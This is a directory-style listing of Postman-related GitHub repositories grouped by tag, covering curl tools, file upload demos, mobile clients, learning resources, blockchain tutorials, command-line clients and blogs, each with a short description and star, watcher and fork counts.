collection, collections, endpoint, endpoints, public 		Set of collections of public API's endpoints for postman 0 stars 0 watchers 0 forks
Oreramirez/TrabajoUnidad01-BDII
concept, endpoint, endpoints, public, studio, todo, unit, util, utilizando, visual 		TRABAJO FINAL DE UNIDAD Desarrollar una aplicación cualquiera utilizando la tecnica Mapeo Objeto Relacional (OR/M), se deben incluir al menos 05 pruebas unitarias y 05 endpoints de APIs con su correspondiente prueba con Postman Formato: Latex publicado en Github 1. PROBLEMA (Breve descripción) 2. MARCO TEORICO (referencias de conceptos de libros) 3. DESARROLLO 3.1 ANALISIS (Casos de Uso) 3.2 DISEÑO (Diagrama de Clases, Modelo Entidad Relación) 3.3 PRUEBAS (Pruebas unitarias de métodos de clases utilizados) Nota; este trabajo debe estar alineado con el proyecto en el visual studio cargado en el GIT HUB Adicionar a esto también la ruta del proyecto en Git Hub 0 stars 0 watchers 0 forks
pdebrah/PostMan-API
public, user, users 		Github public users API 0 stars 0 watchers 0 forks
RaedShari/postman-rsa-encryption
public, support 		RSA support to encrypt value using public key 0 stars 0 watchers 0 forks
serhii-sanduliak/public-api-postman-collection
collection, demonstrate, example, public, test 		A collection of example requests to demonstrate and test the TransferWise public API 0 stars 0 watchers 0 forks
timmah1991/IDPA_Monitoring
match, monitor, monitoring, notification, notify, public, script, user 		Simple postman monitoring script for notifying user when a new IDPA match is posted (before public notification) 0 stars 0 watchers 0 forks
YangCatalog/site_health
check, collection, collections, comparing, container, play, playing, public, result, site 		This container checks the health if YangCatalog by playing the public Postman collections and comparing the results. 0 stars 0 watchers 0 forks
ZuleikaRose/angularzuleikav1
angular, bucket, includes, public, site, website 		MEAN stack Amazon Clone website that includes AWS (IAM, S3, & public bucket), Algolia, Angular, Express, MongoDB (MLab), Node, Postman, Stripe (Checkout), TypeScript 0 stars 0 watchers 0 forks

curl (21 listings) (Back to Top)

VonHeikemen/tinytina-js
client, curl, http 		Command-line http client. Is like the mix of curl and postman that nobody asked for. 3 stars 3 watchers 1 forks
postmanlabs/codegen-curl
codegen, curl, generator, snippet 		curl snippet generator for Postman Requests 1 stars 1 watchers 1 forks
rubyDoomsday/curly
command, command line, curl, ruby 		linux command line postman without all the fluff 1 stars 1 watchers 1 forks
shivkanthb/curlx
charge, collection, collections, curl, history 		◼️ Supercharge curl with history, collections and more. 0 stars 0 watchers 3 forks
rishav394/Email-sender-no-IMAP
client, clients, college, command, command line, curl, e mail, email, lines, mail, send, sender, sends, site, tool, tools 		Handles POST request to the site and sends the mail accordingly. Useful to send mail using curl, POSTMAN or other command lines tools when email clients are blocked by your org or college. 1 stars 1 watchers 0 forks
jmcalalang/F5-Postman-Collections
curl, lang 		:page_with_curl: Postman Collections I work from 0 stars 0 watchers 2 forks
postmanlabs/curl-to-postman
curl, object, objects 		Converts curl requests to Postman Collection v2 request objects 0 stars 0 watchers 2 forks
szmc/rest-api-testing-demo
curl, rest, rest api, test, testing, tool, tools 		Repository for demo of rest api testing using different tools(Postman, Jmeter, SoapUI, curl, Rest-Assured) 0 stars 0 watchers 1 forks
ivastly/php2curl
command, convert, curl, data, export, import, imported, tool 		tiny lib to convert data from PHP request to CURL command. Then, CURL command can be imported into Postman with 1 click, so it is PHP to Postman export tool. 0 stars 0 watchers 1 forks
kassergey/vocabRestful
angular, curl, express, mongo, mongod, mongodb, node, rest, restful, vocabulary 		vocabulary without words, restful app, MEAN(mongodb, express.js, angular.js, node.js), curl, postman 0 stars 0 watchers 1 forks
etuchscherer/postman2curl
collection, collections, command, commands, convert, converting, curl, postman collection, postman collections, util, utility 		A Gem utility for converting postman collections into curl commands. 0 stars 0 watchers 0 forks
AdrienneBeaudry/wieg16-curl
curl, data, general 		Learning curl, postman and general data manipulation 0 stars 0 watchers 0 forks
bhargavkaranam/multiple-curl-to-postman
collection, curl, multiple 		Convert multiple cURL requests to Postman collection 0 stars 0 watchers 0 forks
byanofsky/chrurl
curl, extension, influence, version 		Chrome extension version of curl with influence by postman 0 stars 0 watchers 0 forks
curlers/curler
curl 		HTTP API projec 0 stars 0 watchers 0 forks
DrWrong/grpc_proxy
curl, grpc, grpcurl, proxy 		grpcurl postman 代理 0 stars 0 watchers 0 forks
ioulungTsai/api-test-mocha-postman-curl
curl, skills, test 		Software QA skills practice 0 stars 0 watchers 0 forks
oblakeerickson/discourse_api_curl
command, command line, course, curl, endpoint, endpoints 		Test discourse api endpoints from the command line instead of postman 0 stars 0 watchers 0 forks
povilaspanavas/PostmanProblemFixer
curl, enable, enables, expect, find, form, format, host, import, move 		Reformats text in cliboard. It expects to find there curl and move host from the end to the start. This enables Postman to import a coppied curl from Charles successfully. 0 stars 0 watchers 0 forks
RedaZenagui/golangTest
curl, endpoint, exposes, golang, graph, graphql, lang, server 		Creating a server that exposes a graphql endpoint that returns "This is the answer about the Query !" when queried via something like curl or postman. 0 stars 0 watchers 0 forks
shanpali/curlToJavaCode
collection, curl, executable, postman collection, test, testng, util 		This util will help create executable testng test from a postman collection 0 stars 0 watchers 0 forks

upload (21 listings) (Back to Top)

Manojvg1995/GET-POST-method-call-using-jquery-and-javascript
fake, java, javascript, jquery, method, query, script, upload, uploading 		Hello , In this project I'm uploading how Call get and post method using jquery and javascript using online fake apis. 5 stars 5 watchers 1 forks
RachellCalhoun/craftsite
django, ember, favorite, file, image, images, login, message, posts, profile, site, unit, upload 		This is a crafts and food community site. There is sign-up/login and out. Logged in members can message eachother with Postman-django app. All members create their own profile with image, and info. They can also upload favorite craft/food images, comment on others posts or ask questions. 1 stars 1 watchers 2 forks
vdespa/postman-testing-file-uploads
collection, file, postman collection, sample, test, testing, tests, upload 		A sample postman collection showing how you can tests 0 stars 0 watchers 2 forks
Oghenetega3000/TestApi
collects, data, database, employee, form, format, information, test, tested, upload 		An api that collects employee information in JSON format and uploads it to a database (to be tested in Postman) 1 stars 1 watchers 0 forks
skhetarpaul/project-back-end
arranged, back end, directory, folder, function, functional, rating, rest, restaurant, restaurants, result, search, server, sort, sorted, system, upload, user, users 		This is a server side project using Node and Express.js. The purpose is to provide its users a functionality to search some best restaurants sorted and arranged according to their star ratings. Screenshots of working back end system has been uploaded to *project_postman_results* directory in the root folder here. 1 stars 1 watchers 0 forks
md-amir/fileupload
file, image, laravel, multiple, rest, rest api, upload 		Upload multiple image using rest api (postman ) in laravel 0 stars 0 watchers 0 forks
Rajpreet16/curd_using_apis_in_laravel
article, curd, laravel, operation, operations, site, upload, website 		This project have CRUD operations in Laravel written using APIS. Basic Article website CRUD operation, where you can see all the articles, see a particular article,delete a article, update a article,upload a new article. 0 stars 0 watchers 0 forks
sivagopi204/upload-resume-from-postman-method
description, method, resume, script, upload 		No description available. 0 stars 0 watchers 0 forks
Aadhavans/Postman-CSV-upload-Collection-Runner
attendance, file, steps, upload 		I need to upload CSV file to execute attendance sheet Collection Runner Suggest me with the steps 0 stars 0 watchers 0 forks
DanielMcAssey/SharedUploader-Watcher
file, files, function, functional, module, tool, tools, upload 		Part of the SharedUploader suite of tools: Easy tool to upload files to the SharedUploader Server module. REQUIRES SharedUploader-Postman. [DEPRECATED: ShareX provides more functionality] 0 stars 0 watchers 0 forks
igocooper/postman-mail-uploader
drive, email, emails, mail, river, service, upload, webdriver 		webdriver.io based algorithm to upload emails to postman service. 0 stars 0 watchers 0 forks
john-lock/postman-export-formatter
default, description, export, exports, file, form, format, formatter, path, script, upload, user, users 		A formatter for Postman Collection exports for file uploads. Allowing users to put the desired path in the description and have this path writtening into the file upload path - rather than having the default relative paths given by PM 0 stars 0 watchers 0 forks
JosephFahedTossi/voting-api
application, header, image, interface, program, programming, search, select, software, test, tested, upload, user 		An application programming interface which is tested using the Postman software where a user can search candidates by using the header "firstname", upload an image and vote for the selected candidate. 0 stars 0 watchers 0 forks
nikitaphopse/django_customer_base_project
action, application, backend, behaviour, customer, data, database, default, django, environment, fields, filter, image, list, method, permissions, proving, query, relationship, search, security, sets, token, upload, verb, verbs, version, versions 		We will create a full project ( Customer Base ) with all database relationships, image upload and full control on what is happening behind the scenes. Introduction Preparing the environment Creating the base of the application ( Customer base app ) Setup of the Django Rest Framework Exposing an API for the Customer Endpoint Consuming this API with Google Chrome and Postman Creating the Endpoint for the all entities Personalizing the get_queryset method to provide a list of Customers with filters Override of the behaviour for the defaults HTTP verbs (Get, Post, Put, Patch, Delete ) Creating custom actions Using query strings Filtering querysets with DjangoFilter backend Enabling API search Custom lookup field Improving the API security with Tokens Custom permissions per token Nested relationships OneToOne ForeignKey ManyToMany Types of Serializers Nested serializers Function fields Types of ViewSets Enabling Pagination on your API Deploy on Heroku Updating versions of the application after deploy on Heroku 0 stars 0 watchers 0 forks
romanshutsman/server-upload-download
client, download, http, https, server, test, upload 		You can test it in POSTMAN or download client for this app https://git.io/vhaiL ! 0 stars 0 watchers 0 forks
salesh/nodejs-upload-file
file, node, nodejs, test, upload 		Postman upload file txt/pdf test 0 stars 0 watchers 0 forks
silverbacktech/django_file_upload
django, file, login, upload, verb 		login not working in postman 0 stars 0 watchers 0 forks
somraky/2_2upload_image_restful
image, rest, restful, test, upload 		upload image by restful api. you can use postman for test this. 0 stars 0 watchers 0 forks
sony923/udacity
city, error, udacity, upload 		error in postman upload 0 stars 0 watchers 0 forks
surendragurram/UploadOfXMLServerUsingPostman
file, files, upload 		upload files using postman 0 stars 0 watchers 0 forks
unicobib/Dictionary_Api
data, database, file, store, upload 		upload .txt file from POSTMAN. Application will read all the words from that file and store that into H2 database. 0 stars 0 watchers 0 forks

mobile (20 listings) (Back to Top)

request-factory/request-factory
actor, client, form, mobile, platform 		Cross-platform API-client made for mobile (iOS/Android) 8 stars 8 watchers 1 forks
ngetha/postman
gateway, mobile, money 		a B2C mobile money gateway 4 stars 4 watchers 6 forks
CoVital-Project/pulse-ox-data-collection-web-service
client, clients, collection, data, mobile, receiving, service 		HTTPS API for receiving pulse oximetry from mobile clients 2 stars 2 watchers 1 forks
Mir00r/busticketing
access, action, actor, admin, api blueprint, application, applications, asyncapi, auth, authentication, boot, browser, case, cases, compare, compose, consisting, container, default, define, design, development, devices, docker, engine, file, find, following, form, frontend, function, functional, host, import, inside, install, interface, json schema, library, link, local, material, mobile, mysql, oauth, openid, operate, popular, predefined, profile, prototype, render, reservation, responsive, result, schedule, search, security, series, server, sessions, sql, system, systems, template, templates, ticket, token, type, user, users, web app 		Bus Reservation System_ and tried to implement an Admin portal which can be operated over browsers and a series of REST APIs to interact with the system using mobile applications or frontend applications written for the browsers. The complete systems has two important actors : 1. Admin user 2. End user The _Admin user_ can access this application on browser (laptop or mobile/tablet, doesn't really matter as this is built using bootstrap, material design and is completely responsive) and can perform the following actions : 1. Signup 2. Login (Spring sessions) 3. Update their profile 4. Create an agency 5. Add buses to the agency 6. Add trips consisting of predefined stops and buses The _End user_ can use their mobile application (yet to be built, however the REST APIs are ready and could be used via Postman or Swagger) to perform the following actions : 1. Signup 2. Login (and get a JWT token) 3. List all available stops 4. Search a trip between any two stops 5. Filter search results with a date option 6. Book a ticket for a given trip schedule Admin interface and REST APIs both have their independent authentication mechanisms, the web application uses the cookie based authentication (provided by default by Spring security) and the REST API uses the JWT authentication for access. This application assumes the availability of 'MongoDB' installation on the localhost where the server will run or the use of docker-compose to boot up a mysqldb container and link the application with it within the realm of docker. Any changes that the admin users will do on the web portal will impact the search results of the end users, there will be certain use cases which you may find missing here, I hope you will appreciate that the overall idea was to present a way to create such an application completely inside the realm of Spring Boot and not to actually building a fully functional reservation system. The admin user interface is completely written in material design using Bootstrap v4 and is responsive to suite a variety of devices. The template engine used to render the admin views is Thymeleaf since the library is extremely extensible and its natural templating capability ensures templates can be prototyped without a back-end – which makes development very fast when compared with other popular template engines such as JSP. 1 stars 1 watchers 2 forks
dailiang18bb/Explorer-Ionic
apps, data, explore, hybrid, mobile, service, services, test, tested 		Explorer – A hybrid mobile apps which help explore the world by using Google Vision and Wikipedia API. Coding in Angular 6, building with Ionic 4 and Cordova. Worked on the REST/Web API to create the services and tested on postman and used in AngularJS $HTTP service calls and bind the data in the card. 1 stars 1 watchers 1 forks
amittyyy/LandonHotelAPI_Project
book, booking, mobile, native, register, search 		BackEnd RestAPI Works for web and native mobile for booking, register and search Hotel Rooms using Asp.Net MVC Core 2.1 and PostMan. 1 stars 1 watchers 0 forks
deltatre-team-mobile/postman
description, mobile, script 		No description available. 0 stars 0 watchers 0 forks
aking27/FitnessTracker
account, application, data, exercise, form, format, framework, goal, goals, information, machine, mobile, nutritional, order, progress, server, track, tracker, user, users 		I used React Native to create a fitness tracker mobile application for iOS and Android. In order to update and maintain server data, I used a combination of the RESTful API and Postman. Additionally, the Expo framework and Node.js were used to build the application on my machine. This app allows users to sign into their account to log exercise/nutritional information, create fitness goals, and view their progress. 0 stars 0 watchers 0 forks
awaisbub/Shircle
aapplication, android, application, back end, business, businesses, customer, data, database, design, designed, developer, entity, following, framework, generation, insight, inventory, keeper, local, mobile, product, products, report, reports, rest, setup, solution, store, stores, studio, track 		It is Android aapplication back end code made for small local businesses. The back end of this application is in C# .NET using MVC architecture making REST APIs. And all the views are on Android. I worked as a back end developer in this app. Back end of the app is in c# using .NET entity framework. REST APIs developed using Model View Controller(MVC) architecture. Views were designed on android studio. The database was designed by using Code First Approach. (Visual Studio, Android Studio, Microsoft Azure, Microsoft SQL, SQLite, Postman, Entity Framework, MVC, Firebase REST API’s, REST API’s, JSON) This app has the following features: I. It provides all in one business solution to shopkeepers. Shopkeeper can setup his online store, manage sales through mobile POS, track of inventory, sale reports generation, market insights, and trending products. II. On the other hand, customer can view nearby stores through Google Maps & Shircle-Eye, add products to virtual cart, and view trending items according to their interests. 0 stars 0 watchers 0 forks
CaptainStorm21/node-restapi-express-automobiles
express, mobile, mongo, mongod, mongodb, node, rest, restapi, restful, scratch 		creating restful API from scratch using node/mongodb/express postman 0 stars 0 watchers 0 forks
Dilshan97/simple-microservice
customer, details, microservice, mobile, order, phone, place, require, required, retail, service, store 		ABC Company has started with a small mobile phone retail store in Colombo. It is required to capture order details and provide unique identifier for the customer for the order that is placed from the store front 0 stars 0 watchers 0 forks
HaninMustafa/Mars-Colony-App
intern, internal, local, mobile, object, responsive 		MARS COLONY APP - Web-Based Application: A mobile first responsive layout that uses Angular2 to implement GET and POST HTTP requests with our internal API to save colonist’s info and alien encounter and use localStorage to save colonist object 0 stars 0 watchers 0 forks
jiahaoliuliu/PostmanPattern
mobile, phone, server 		An improved pattern based on Observer pattern for mobile phone which is aware of the UI thread 0 stars 0 watchers 0 forks
Markuson/apply-mobilejazz
mobile, react 		A simple react app to apply to mobile jazz. Cause do it only with a postman POST was the easy way. 0 stars 0 watchers 0 forks
mobiletta/a-postman-store
content, mobile, related, store 		Repository containing Postman and Newman related content 0 stars 0 watchers 0 forks
Neuromobile/newman-vcs
collection, collections, data, managing, mobile, newman, test, tests 		An adapter for newman to allow managing Postman/newman data with a VCS and launch collections and tests 0 stars 0 watchers 0 forks
Neuromobile/newman-vcs-parser
collection, collections, form, format, mobile, newman, parse, parser, transform, version 		A parser to transform Postman/newman collections to a versionable format 0 stars 0 watchers 0 forks
nikokent/request-app
mobile, style 		A Postman style request app for mobile 0 stars 0 watchers 0 forks
prrs/t_postman
backup, content, devices, mobile 		backup and analysis of textual content of mobile devices 0 stars 0 watchers 0 forks
ReinWD/Postman
mobile 		Postman mobile 0 stars 0 watchers 0 forks

resources (20 listings) (Back to Top)

yapily/developer-resources
bank, collection, connected, developer, resource, resources, source, yapily 		A collection of Yapily resources to help you get connected to bank APIs. 14 stars 14 watchers 3 forks
alentar/rpms-postman
resource, resources, server, source 		Postman resources for RPMS server 1 stars 1 watchers 1 forks
dawitnida/awesome-postman
list, resource, resources, source 		Curated list of resources on Postman. 1 stars 1 watchers 1 forks
msziede/PostmanPageTest
collection, pages, resource, resources, source 		Postman collection that pages through API resources 1 stars 1 watchers 0 forks
shelleypham/GE-Current-Hackathon-API-Tutorial
access, details, document, documentation, environment, hackathon, resource, resources, retrieve, source, token, tokens 		This documentation provides more details on how to set up the hackathon environment on Postman, retrieve Intelligent Cities and Intelligent Enterprises access tokens, and how to use those access token to retrieve resources 1 stars 1 watchers 0 forks
demoPostman/DotnetIasi.DemoPostman
group, lines, necessary, pipeline, pipelines, presentation, resource, resources, source 		This repo contains all the necessary resources from the DotNet Iasi group presentation about PostmanTests in CI\CD pipelines 0 stars 0 watchers 1 forks
postmanlabs/galaxy-workshop
resource, resources, source, workshop 		Supporting resources for the 2020 Postman Galaxy Tour 0 stars 0 watchers 1 forks
xrayin/springboot-rest-image-retriever
application, boot, current, directory, endpoint, endpoints, file, host, http, image, images, local, program, resource, resources, rest, retrieve, source, spring, spring boot, springboot, system 		A spring boot application that uses REST to retrieve an image. Images are currently saved in the directory resources/images for convenience. Best practice would be to save it to a file system. Call any of the endpoints with a program of your choice, I used Postman. e.g. GET -> http://localhost:8080/images/abcd.png 0 stars 0 watchers 1 forks
SalahEddine007/mern_devconnector
action, application, backend, bank, basics, component, components, container, course, editor, elegant, endpoint, endpoints, extension, frontend, includes, integrate, mern, network, rating, resource, resources, route, routes, script, social, source, stat, test, testing, workflow 		Welcome to "MERN Stack Front To Back". In this course we will build an in depth full stack social network application using Node.js, Express, React, Redux and MongoDB along with ES6+. We will start with a bank text editor and end with a deployed full stack application. This course includes... Building an extensive backend API with Node.js & Express Protecting routes/endpoints with JWT (JSON Web Tokens) Extensive API testing with Postman Integrating React with our backend in an elegant way, creating a great workflow Building our frontend to work with the API Using Redux for app state management Creating reducers and actions for our resources Creating many container components that integrate with Redux Testing with the Redux Chrome extension Creating a build script, securing our keys and deploy to Heroku using Git This is NOT an "Intro to React" or "Intro to Node" course. It is a practical hands on course for building an app using the incredible MERN stack. I do try and explain everything as I go so it is possible to follow without React/Node experience but it is recommended that you know at least the basics first. 0 stars 0 watchers 0 forks
adQuintipLe/laravel-api-resources
laravel, resource, resources, source 		api laravel resource with postman 0 stars 0 watchers 0 forks
guys1444/node.js-socialNetwork
action, backend, component, components, container, elegant, endpoint, endpoints, extension, frontend, integrate, node, rating, resource, resources, route, routes, social, source, stat, test, testing, workflow 		socialNetwork that ive made in node.js Building an extensive backend API with Node.js & Express Protecting routes/endpoints with JWT (JSON Web Tokens) Extensive API testing with Postman Integrating React with our backend in an elegant way, creating a great workflow Building our frontend to work with the API Using Redux for app state management Creating reducers and actions for our resources Creating many container components that integrate with Redux Testing with the Redux Chrome extension ,MERN STACK 0 stars 0 watchers 0 forks
andreprawira/Simple-REST-API-using-Spring-Boot-Hibernate-and-MySQL-Database
application, data, database, employee, employees, forge, generate, generated, list, method, properties, resource, resources, single, source, spec 		It's a very simple REST API for employee management using Spring Boot, Hibernate, and MySQL. Test it with Postman: Use GET method to list all of the employees or a single employee specified by ID Use POST method to save an employee (ID auto generated) or use a PUT method to update if employee ID already exist (specify the employee ID in the url to update) Use DELETE method to delete an employee (specify the employee ID in the url to delete) Dont forget to change the application.properties to connect the database with the app (located in src/main/resources/application.properties) 0 stars 0 watchers 0 forks
andreshincapie82132/postman_methods
method, methods, resource, resources, source 		A short repository with most useful posman resources 0 stars 0 watchers 0 forks
guilleojeda/aws-tags-using-postman
list, resource, resources, source 		Create, delete and list AWS resources by tag using Postman 0 stars 0 watchers 0 forks
KamilWysocki1990/GitHubSearch
application, browser, check, data, in browser, method, place, resource, resources, search, server, source, unit 		MVP||This application give u opportunity to search through repository in GitHub resources along with data to recognize owner of repository . It can also transfer us to the place where we can check chosen repository in browser. In app is implemented method in RxJava for handle bigger data flow which can help reduce time for waiting to get data on screen. Technlogoy used : Java, RxJava2, Retrofit 2, RecyclerView, MVP, ButterKnife, Glide, CardView, LifeCycleObserver, Architecture Components, Postman. 0 stars 0 watchers 0 forks
moinuddin14/oData-Batch-Postman-Demo
collection, example, find, intern, postman collection, process, research, resource, resources, sample, samples, search, source, spec 		I have researched a lot on the internet and couldn't find a lot of resources on oData especially for Batch processing example. So, adding the postman collection with some sample oData batch payload samples 0 stars 0 watchers 0 forks
neomarmedina/prueba_meta
api blueprint, asyncapi, auth, docs, form, format, github, gitlab, http, https, json schema, laravel, list, meta, model, oauth, openid, resource, resources, servicio, source, sql, validation, variable, variables 		Prueba de la empresa MetaData : Crear un proyecto público en git (gitlab, github...) y compartirnos la url. Crear un proyecto API/Rest en Laravel 6 con los sig requerimientos: - PHP 7.3. - Base de datos Mysql 5 utf8mb4_unicode_ci llamada "prueba_meta". Crear Servicio tipo POST que registre un modelo "Author" con el atributo "name" Crear Servicio tipo POST que registre un modelo "Book" con los atributos "publish_date", "title", "author_id" Crear un servicio tipo GET que retorne un listado de los "Book" y sus autores. Crear las migraciones correspondientes para ambos modelos. (https://laravel.com/docs/6.x/migrations) Los servicios deben devolver sus respuestas en formato JSON y tener validaciones para sus atributos usando "Validator" (https://laravel.com/docs/6.x/validation) e implementar "Eloquent: API Resources" (https://laravel.com/docs/6.x/eloquent-resources). Los servicios serán probados en Postman después de levantar el servidor (php artisan serve) y colocadas las variables de entorno en el archivo .env 0 stars 0 watchers 0 forks
pozil/postman-extractor
actor, export, extract, extractor, file, files, resource, resources, source, util, utility, version, versioning 		Postman Extractor (pmx) is a utility that extracts/compacts resources from Postman export files for easier versioning. 0 stars 0 watchers 0 forks
rubenRP/covid-map
covid, data, maps, resource, resources, source, updated 		App creted with GatsbyJS and Leaflet maps to show COVID19 updated data using Postman COVID19 resources. 0 stars 0 watchers 0 forks
venkatgunneri/Messenger-App
client, collection, comments, file, files, message, messages, notation, resource, resources, source 		Messaging App, Creating Profiles, can share messages with sub resources as comments and likes. Code written in using REST API annotations and getting response in JSON. Postman API as a client. worked on resource URI's and collection URI's. 0 stars 0 watchers 0 forks

blockchain (20 listings) (Back to Top)

onkarpandit/cryptocurrency
blockchain, chai, crypto, cryptocurrency, currency, frontend, implementation, java, local, locally, script 		My own cryptocurrency implementation with blockchain and frontend using java script.Hosted locally on postman. 2 stars 2 watchers 0 forks
adineshreddy1/SupplyChainManagementIntoBlockchain
blockchain, chai, details, developer, developers, free, front end, location, require, stat, status, system, track, tracking 		A blockchain based system which records the temperature,location and other paramaters of a shipment/consignment during shipment. Depending upon our requirements for tracking the consignment , we can keep those details into blockchain such as location,status, time,temperature and others. Looking forward for the contribution from front end developers. Please feel free to ping me. 1 stars 1 watchers 0 forks
vishnoitanuj/Blockchain-Cryptocurrency
basics, blockchain, chai, crypto, currency, file, flask, implementation, server, server., servers, struct, suggest, welcome 		A basic implementation of blockchain based on flask server. It servers the basics of crypto-currency technology. The genesis, block constructor and its use are explained in the read-me file. Any suggestions are welcomed. 0 stars 0 watchers 2 forks
arkhaminferno/Blockchain-BlockMiner
blockchain, browser, chai, interface, retrieve 		Implementation of Practical Blockchain Mining,A simple blockchain which can be mined, retrieved or verified using a web interface like a browser or Postman. 1 stars 1 watchers 0 forks
FLYINGKRIPTO/FristBlockchainApplication
action, blockchain, chai, function, functional 		This blockchain basic functionality app is made on Python using Flask and User interaction on Postman 1 stars 1 watchers 0 forks
teheperor/dvf-blockchain
blockchain, chai 		Learn Blockchains by Building One - HackerNoon.comをPython以外のプログラミング言語で写経 1 stars 1 watchers 0 forks
Harshrajsinh96/Crypto_APIs
action, blockchain, chai, crypto, currency, data, framework, setup, test, tested 		Created REST APIs for a blockchain crypto-currency where Wallet and Transactions entities were handled using SQLAlchemy mapper in Flask framework and the data was persisted in SQLite DB. Whole setup with GET/POST/DELETE request was tested on Postman. 0 stars 0 watchers 0 forks
ajanet379/blockchain-postman
blockchain, chai 		A demo on blockchain technology using postman 0 stars 0 watchers 0 forks
akp111/Blockchain
blockchain, chai, mini 		A small project on mining blocks for blockchain and interfacing the blocks using postman 0 stars 0 watchers 0 forks
beto-aveiga/blockchain-example
blockchain, browser, chai, example, interface, retrieve 		A simple blockchain which can be mined, retrieved or verified using a web interface like a browser or Postman 0 stars 0 watchers 0 forks
dorukismen/blockchain_python
blockchain, chai, python 		To create and mine a blockchain on python with Flask and Postman 0 stars 0 watchers 0 forks
HP213/My_first_blockchain
blockchain, chai, concept, current, hashi, http, https, local, locally, route, routes, running, server, server., web app 		This is a blockchain created with help of Python. This is basically a web app running locally on your server. This contains hashing algorithm using SHA256 and same concept of timestamp and nonce. Use Postman for better experience and all routes currently works on GET request. Download Postman from here-> https://www.getpostman.com/ 0 stars 0 watchers 0 forks
IndraTeja/blockchain-postman
blockchain, chai, description, script 		No description available. 0 stars 0 watchers 0 forks
paramountgroup/RESTful-API-with-Nodejs
application, blockchain, chai, city, data, developer, framework, group, host, local, per project, private, program, retrieve, submit 		Udacity Blockchain developer project RESTful Web API with Node.js Framework by Bob Ingram. This program creates a web API using Node.js framework that interacts with my private blockchain and submits and retrieves data using an application like postman or url on localhost port 8000. 0 stars 0 watchers 0 forks
rkaiwang/Python-Blockchain-
action, blockchain, chai, host, local, order, server, submit, transactions, verifications 		This is simple blockchain which you can use to create basic transactions and verifications. It creates a local server to host the blockchain, and uses Postman to submit POST and GET requests in order to create transactions. 0 stars 0 watchers 0 forks
SentinelWarren/blockchain_prototyping
blockchain, chai, implementation 		Experimenting around blockchain implementation [code base]. 0 stars 0 watchers 0 forks
sixfwa/simple-blockchain
blockchain, chai 		A simple blockchain which can be mined using the Postman API 0 stars 0 watchers 0 forks
krisker/simple_blockchain
blockchain, chai 		简易的区块链实现，可以使用postman进行实现 0 stars 0 watchers 0 forks
rodrigog10/blockchain
blockchain, chai 		Blockchain Estrutura Básica com Flask e Postman 0 stars 0 watchers 0 forks
VueVindicator/Blockchain
blockchain, chai, describes, express, java, javascript, network, script 		This is a short project that describes the workings of a blockchain network. Built with javascript, express.js and postman 0 stars 0 watchers 0 forks

command line (19 listings) (Back to Top)

paltman-archive/postman
command, command line, interface 		a simple command line interface to Amazon SES 31 stars 31 watchers 7 forks
txthinking/frank
automat, automate, automated, command, command line, document, generate, markdown, test, testing, tool 		Frank is a REST API automated testing tool like Postman but in command line. Auto generate markdown API document. 0 stars 0 watchers 10 forks
postmanlabs/postman-updater-linux
bash, command, command line, script 		A simple bash script to update Postman from the command line (for Linux) 0 stars 0 watchers 9 forks
vail130/gohttp
browser, command, command line, extension, extensions, http, place, tool 		HTTP command line tool in Go. Replacement for Curl and browser extensions like Dev HTTP Client and Postman. 3 stars 3 watchers 1 forks
ivangfr/postman-newman-jenkins
command, command line, fake, goal, jenkins, newman, test, tested 		The goal of this project is to implement an Automation Testing for a REST API. We will use Postman, Newman (that is the command line Collection Runner for Postman) and Jenkins. The REST API to be tested will be ReqRes, that is a fake online REST API. 1 stars 1 watchers 2 forks
samtgarson/pat
command, command line 		📮 Postman on the command line 2 stars 2 watchers 0 forks
rubyDoomsday/curly
command, command line, curl, ruby 		linux command line postman without all the fluff 1 stars 1 watchers 1 forks
missingfaktor/tapal
alternative, command, command line, light, lightweight, native 		A lightweight command line alternative to Postman 1 stars 1 watchers 0 forks
ranovladimir/Entity-Framework-Core-Relationship-Web-API
command, command line, dotnet, file, notation, readme, running, sample, test 		Here is a sample project running on ASP .NET CORE using : - Entity Framework Core in command line (dotnet ef) - Relationships with Data annotation and Fluent API - WEB API (CRUD) => I using PostMan for test. To Getting started, please read the readme.txt file into the project. 1 stars 1 watchers 0 forks
rishav394/Email-sender-no-IMAP
client, clients, college, command, command line, curl, e mail, email, lines, mail, send, sender, sends, site, tool, tools 		Handles POST request to the site and sends the mail accordingly. Useful to send mail using curl, POSTMAN or other command lines tools when email clients are blocked by your org or college. 1 stars 1 watchers 0 forks
Ne4istb/postman-combine-collections
collection, collections, combine, command, command line, tool 		A command line tool to combine several Postman collections into one 0 stars 0 watchers 2 forks
aubm/Cats-API
command, command line, fake, newman, play, test, tests, tool 		A fake API built to play with Postman tests and the newman command line tool 0 stars 0 watchers 1 forks
ITV/pmpact
collection, collections, command, command line, convert, file, files, tool 		A command line tool to convert Pact files to Postman collections. 0 stars 0 watchers 1 forks
dparne/postman-cli
collection, collections, command, command line, download, downloading, interface, running 		A command line interface for downloading and running Postman collections 0 stars 0 watchers 0 forks
chit786/UFT_PostMan_Driver
command, command line, integration, river, script, scripts, test 		Full integration of HP UFT with Newman test scripts using command line 0 stars 0 watchers 0 forks
oblakeerickson/discourse_api_curl
command, command line, course, curl, endpoint, endpoints 		Test discourse api endpoints from the command line instead of postman 0 stars 0 watchers 0 forks
shcarroll/postman-newman-gitlab
collection, collections, command, command line, file, gitlab, newman, runner, test, tests 		Example repo containing Postman collections of API tests, Newman command line runner for these and a Gitlab CI file 0 stars 0 watchers 0 forks
sonatard/proto-to-postman
collection, command, command line, import, tool 		proto-to-postman is a command line tool to create postman API import collection from .proto. 0 stars 0 watchers 0 forks
Tombert/PATCHMan
clone, command, command line 		A clone of POSTman, but for the command line, written using Node.js 0 stars 0 watchers 0 forks

blog (19 listings) (Back to Top)

darrylkuhn/fooblog
application, blog, coverage, test 		Demo PHP application showing how to use Postman/Newman to test and collect code coverage 4 stars 4 watchers 1 forks
prakhar1989/Blogera
blog, blogs, logs 		Postman for your blogs 1 stars 1 watchers 1 forks
tasmia2016831022/WebTechnologyProject
blog, node, nodejs 		Simple blog app using nodejs 1 stars 1 watchers 0 forks
bcchapman/postmanblog
blog, corresponds, sample, series 		This is the sample project that corresponds to my blog series on Postman 0 stars 0 watchers 1 forks
brankozecevic/php_oop_rest_api
api blueprint, asyncapi, blog, client, data, database, environment, function, functional, import, json schema, oauth, openid, posts, principles, rest, server, sql, test, testing 		This is a REST API using PHP and OOP principles. There is also MySQL database that you can use to import on your server (myblog.sql). This REST API is based on CRUD functionality (blog posts and blog categories). For testing use Postman app environment as a REST client. 0 stars 0 watchers 0 forks
NagisaVon/Postmanblog
blog, description, script 		No description available. 0 stars 0 watchers 0 forks
postmanlabs/postman-blog
